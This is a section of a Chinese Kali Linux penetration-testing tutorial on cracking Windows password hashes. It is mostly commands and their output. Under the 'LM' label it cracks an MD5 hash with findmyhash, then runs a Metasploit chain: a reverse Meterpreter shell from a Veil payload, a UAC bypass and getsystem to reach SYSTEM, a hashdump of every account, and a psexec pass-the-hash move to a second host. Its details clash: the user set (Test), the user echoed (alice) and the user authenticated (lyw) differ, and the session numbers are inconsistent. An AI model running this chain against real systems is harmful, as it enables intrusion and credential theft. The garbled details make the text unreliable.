8.3 破解LM Hashes密码

LM(LAN Manager)Hash是Windows操作系统最早使用的密码哈希算法之一。在Windows 2000、XP、Vista和Windows 7中使用了更先进的NTLMv2之前,这是唯一可用的版本。这些新的操作系统虽然可以支持使用LM哈希,但主要是为了提供向后兼容性。不过在Windows Vista和Windows 7中,该算法默认是被禁用的。本节将介绍如何破解LM Hashes密码。

在Kali Linux中,可以使用findmyhash工具破解LM Hashes密码。其中,findmyhash命令的语法格式如下所示:

findmyhash <Encryption> -h hash

以上语法中,各个选项含义如下所示。

  • Encryption:指定使用的哈希加密类型。
  • -h:指定要破解的LM哈希值。

【实例8-2】使用findmyhash命令攻击LM Hashes密码。执行命令如下所示:

[email protected]:~# findmyhash MD5 -h 5f4dcc3b5aa765d61d8327deb882cf99
Cracking hash: 5f4dcc3b5aa765d61d8327deb882cf99
Analyzing with md5hood (http://md5hood.com)…
… hash not found in md5hood
Analyzing with stringfunction (http://www.stringfunction.com)…
… hash not found in stringfunction
Analyzing with 99k.org (http://xanadrel.99k.org)…
… hash not found in 99k.org
Analyzing with sans (http://isc.sans.edu)…
… hash not found in sans
Analyzing with bokehman (http://bokehman.com)…
… hash not found in bokehman
Analyzing with goog.li (http://goog.li)…
… hash not found in goog.li
Analyzing with schwett (http://schwett.com)…
… hash not found in schwett
Analyzing with netmd5crack (http://www.netmd5crack.com)…
… hash not found in netmd5crack
Analyzing with md5-cracker (http://www.md5-cracker.tk)…
… hash not found in md5-cracker
Analyzing with benramsey (http://tools.benramsey.com)…
… hash not found in benramsey
Analyzing with gromweb (http://md5.gromweb.com)…
***** HASH CRACKED!! *****
The original string is: password
The following hashes were cracked:
----------------------------------
5f4dcc3b5aa765d61d8327deb882cf99 -> password

以上输出的信息是攻击LM Hashes密码的过程。经过一番的攻击,最后获取到哈希值5f4dcc3b5aa765d61d8327deb882cf99的原始密码是password。

如果觉得破解LM Hashes太慢的话,可以使用Metasploit中的psexec模块绕过Hash值。下面将介绍使用psexec模块绕过Hash值的方法。

(1)通过在目标主机(Windows 7)上运行Veil创建的可执行文件backup.exe,成功获取一个活跃的远程会话,如下所示:

[*] Started reverse handler on 192.168.6.103:4444
[*] Starting the payload handler…
[*] Sending stage (769536 bytes) to 192.168.6.106
[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.106:49160) at 2014-07-22 15:29:55 +0800

从以上信息中,可以看到成功打开了会话1。

(2)查看用户权限信息。执行命令如下所示:

meterpreter > getuid
Server username: WIN-RKPKQFBLG6C\lyw

从输出的信息中,可以看到该用户的权限是一个普通权限。接下来,使用bypassuac模块绕过UAC。

(3)设置lyw用户绕过UAC。执行命令如下所示:

meterpreter > background
[*] Backgrounding session 1…
msf exploit(handler) > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1
session => 1
msf exploit(bypassuac) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] UAC is Enabled, checking level…
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing…
[+] Part of Administrators group! Continuing…
[*] Uploaded the agent to the filesystem….
[*] Uploading the bypass UAC executable to the filesystem…
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Sending stage (769536 bytes) to 192.168.6.106
[*] Meterpreter session 3 opened (192.168.6.103:4444 -> 192.168.6.106:49160) at 2014-07-22 15:34:38 +0800
meterpreter > getsystem
…got system (via technique 1).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

从输出的信息中,可以看到此时lyw用户权限已经为SYSTEM。

(4)查看目标主机上所有用户的哈希密码值。执行命令如下所示:

meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key…
[*] Calculating the hboot key using SYSKEY 45fa5958a01cf2b66b73daa174b19dae…
[*] Obtaining the user list and keys…
[*] Decrypting user keys…
[*] Dumping password hints…
Test:"123"
[*] Dumping password hashes…
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:daf26fce5b47e01aae0f919f529926e3:::
lyw:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
alice:1004:aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c40e9fa2dec:::

从输出的信息中,可以看到捕获到六个用户的哈希密码值。此时,可以使用SMB psexec模块绕过Hash值。

(5)后台运行会话2。执行命令如下所示:

meterpreter > background
[*] Backgrounding session 2…

(6)使用SMB psexec模块,并设置需要的配置选项参数。执行命令如下所示:

msf exploit(bypassuac) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.6.114   #设置远程主机地址
RHOST => 192.168.6.114
msf exploit(psexec) > set SMBUser Test          #设置SMB用户
SMBUser => alice
msf exploit(psexec) > set SMBPass aad3b435b51404eeaad3b435b51404ee:
22315d6ed1a7d5f8a7c98c40e9fa2dec                #设置SMB密码
SMBPass => aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8a7c98c40e9fa2dec

(7)启动攻击。执行命令如下所示:

msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.6.103:4444
[*] Connecting to the server…
[*] Authenticating to 192.168.6.114:445|WORKGROUP as user 'lyw'…
[*] Uploading payload…
[*] Created \XBotpcOY.exe…
[*] Deleting \XBotpcOY.exe…
[*] Sending stage (769536 bytes) to 192.168.6.114
[*] Meterpreter session 3 opened (192.168.6.103:4444 -> 192.168.6.114:49159) at 2014-07-22 17:32:13 +0800

从输出的信息中,可以看到使用“Test”用户成功的打开了一个会话。